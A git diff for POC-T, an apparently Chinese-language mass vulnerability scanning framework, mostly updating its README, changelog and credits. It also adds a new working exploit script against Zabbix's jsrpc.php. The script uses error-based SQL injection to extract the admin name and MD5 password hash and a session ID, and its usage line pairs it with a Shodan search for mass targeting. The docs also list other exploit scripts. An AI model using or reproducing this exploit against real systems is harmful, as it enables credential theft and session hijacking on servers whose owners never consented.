diff --git a/README.md b/README.md index 8e9e0ca..05c63ac 100644 --- a/README.md +++ b/README.md @@ -7,8 +7,6 @@ * 极简式脚本编写,无需参考文档 * 脚本扩展工具,简化重复工作 * 支持第三方搜索引擎API(已完成ZoomEye/Shodan) - -*(欢迎提交代码和改进建议)* ![banner.png](https://github.com/Xyntax/POC-T/blob/master/doc/banner.png) @@ -29,12 +27,12 @@ ![usage.png](https://github.com/Xyntax/POC-T/blob/master/doc/usage.png) ## 结构 -以下含@的目录表示用户可控区域,用户可根据需要*增加/修改/调用*其中的内容 +以下含@的目录表示用户可控区域,用户可根据需要*增加|修改|调用*其中的内容 | 目录 | 说明 | | :----- |:-----| | `POC-T.py` | 程序入口 | -| script | @自定义脚本库 | +| script | @脚本库 | | plugin | @工具库 | | data | @资源库 | | output | 默认输出位置 | @@ -55,7 +53,7 @@ #### 添加接口函数 * 在代码中添加函数 **poc()** * 添加逻辑使验证成功(漏洞存在)时`return True`,验证失败时`return False` -* (程序运行时,每个子线程调用该文件的poc()方法,并将队列中的取出的字符串传入该方法) +* (程序运行时,每个子线程调用该文件的`poc()`方法,并将队列中的取出的字符串传入该方法) ``` def poc(input_str): @@ -63,11 +61,11 @@ def poc(input_str): ``` #### 查看及使用脚本 -* `python POC-T.py --show` 查看全部脚本名称 -* 在命令行中使用 `-m poctest` 参数即可完成`poctest`脚本的加载 (注意名称末尾不需要写`.py`) +* `python POC-T.py --show` 查看`./script`文件夹下全部脚本名称 +* 在命令行中使用 `-m poctest` 可加载`script`文件夹下的`poctest.py`脚本,或者 `-m /home/xy/xxx/poctest.py`加载任意路径的脚本 #### (可选)结果判断 -针对一些复杂的需求,poc()函数可以使用多种返回值来控制验证状态和输出。 +针对一些复杂的需求,`poc()`函数可以使用多种返回值来控制验证状态和输出。 以下模拟一个简单的密码爆破脚本代码 ``` @@ -76,7 +74,7 @@ def poc(input_str): try: c = requests.get(url).content except ConnectionError: - return 2 # 把input_str重新加入任务列表重新验证(本次验证作废) + return 2 # 把input_str再次加入任务队列重新验证(本次验证作废) if 'success' in c: return True # 验证成功,屏幕结果输出为123456 return 1 # 同上 @@ -106,8 +104,8 @@ def poc(input_str): 第三方搜索引擎接口 --------- -本工具拟支持主流空间搜索引擎的API,如ZoomEye/Shodan/Censys等(目前已支持ZoomEye/Shodan). -从搜索引擎中直接获取目标,并结合本地脚本进行扫描. +本工具拟支持主流空间搜索引擎的API,如ZoomEye/Shodan/Censys等(目前已支持ZoomEye/Shodan)。 +从搜索引擎中直接获取目标,并结合本地脚本进行扫描。 #### ZoomEye 以下命令表示使用ZoomEye接口,搜索全网中开启`8080`号端口的服务,并使用`test.py`脚本进行验证. diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index b44f3a6..b884f7a 100644 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -51,4 +51,5 @@ 1.8 --- -* 2016.08.19 - `-m`参数可适配多种输入 \ No newline at end of file +* 2016.08.19 - `-m`参数可适配多种输入 +* 2016.08.23 - 修复PoC回显处理的Bug \ No newline at end of file diff --git a/doc/SCRIPT.md b/doc/SCRIPT.md index b40c45a..539ac8b 100644 --- a/doc/SCRIPT.md +++ b/doc/SCRIPT.md @@ -31,7 +31,8 @@ |`wp-ypo-filedownload.py`| WordPress ypo theme 任意文件下载| |`samsoftech-admin-bypass.py`| SAM Softech后台登录绕过| |`joomla-registrationpro-sqli.py`| Joomla registrationpro组件SQL注入| -|`zabbix-jsrpc-sqli.py` | zabbix jsrpc SQL注入| +|`zabbix-jsrpc-sqli.py` | Zabbix jsrpc.php SQL注入检测| +|`zabbix-jsrpc-mysql-exp.py`| Zabbix jsrpc.php MySQL注入利用 (作者:B0t0w1)| |`siemens-camera-getpwd.py`| SIEMENS IP-Camrea 密码泄露| diff --git a/doc/THANKS.md b/doc/THANKS.md index df08c0d..817467d 100644 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -1,6 +1,8 @@ * [进击的zjx](http://zone.wooyun.org/user/%E8%BF%9B%E5%87%BB%E7%9A%84zjx) - zone.wooyun.org for reporting a bug on IPy-ImportError * [王若伊](http://zone.wooyun.org/user/%E7%8E%8B%E8%8B%A5%E4%BC%8A) - zone.wooyun.org - for contributing codes to script/struts2-s2032.py + for contributing codes to `script/struts2-s2032.py` * [CplusHua](),[小乐天]() - knownsec - for suggesting features to script/struts2-devmode.py + for suggesting features to `script/struts2-devmode.py` +* [B0t0w1](1137321491@qq.com) + for providing script `zabbix-jsrpc-mysql-exp.py` \ No newline at end of file diff --git a/lib/controller/engine.py b/lib/controller/engine.py index 4519b73..47a5eba 100644 --- a/lib/controller/engine.py +++ b/lib/controller/engine.py @@ -99,7 +99,7 @@ def run(): def resultHandler(status, payload): - if status is False or POC_RESULT_STATUS.FAIL: + if status is False or status is POC_RESULT_STATUS.FAIL: return elif status is POC_RESULT_STATUS.RETRAY: changeScanCount(-1) diff --git a/script/zabbix-jsrpc-mysql-exp.py b/script/zabbix-jsrpc-mysql-exp.py new file mode 100644 index 0000000..514052c --- /dev/null +++ b/script/zabbix-jsrpc-mysql-exp.py @@ -0,0 +1,59 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# Author B0t0w1 + + +""" +ZABBIX jsrpc.php SQL Inject Vulnerability (MySQL Exploit) + +Usage: + python POC-T.py -T -m zabbix-jsrpc-mysql-exp --api --dork="zabbix country:us" + +""" + +import re +import urllib2 + + +def poc(url): + url = url if '://' in url else 'http://' + url + if url[-1] != '/': url += '/' + passwd_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select concat(name,0x3a,passwd) from users limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)" + session_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select sessionid from sessions limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)" + payload_deteck = "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=999'&updateProfile=true&screenitemid=.=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1" + try: + response = urllib2.urlopen(url + payload_deteck, timeout=10).read() + except Exception, msg: + # print msg + pass + else: + key_reg = re.compile(r"INSERT\s*INTO\s*profiles") + Passwd = "" + Session_id = "" + if key_reg.findall(response): + payload_inject = url + "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=" + urllib2.quote( + passwd_sql) + "&updateProfile=true&screenitemid=.=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1" + try: + response = urllib2.urlopen(payload_inject, timeout=10).read() + except Exception, msg: + # print msg + pass + else: + result_reg = re.compile(r"Duplicate\s*entry\s*'~(.+?)~1") + results = result_reg.findall(response) + if results: + Passwd = "password_md5:" + results[0] + payload_inject = url + "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=" + urllib2.quote( + session_sql) + "&updateProfile=true&screenitemid=.=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1" + try: + response = urllib2.urlopen(payload_inject, timeout=10).read() + except Exception, msg: + # print msg + pass + else: + result_reg = re.compile(r"Duplicate\s*entry\s*'~(.+?)~1") + results = result_reg.findall(response) + if results: + Session_id = "Session_id:" + results[0] + return (url, Passwd, Session_id) + return False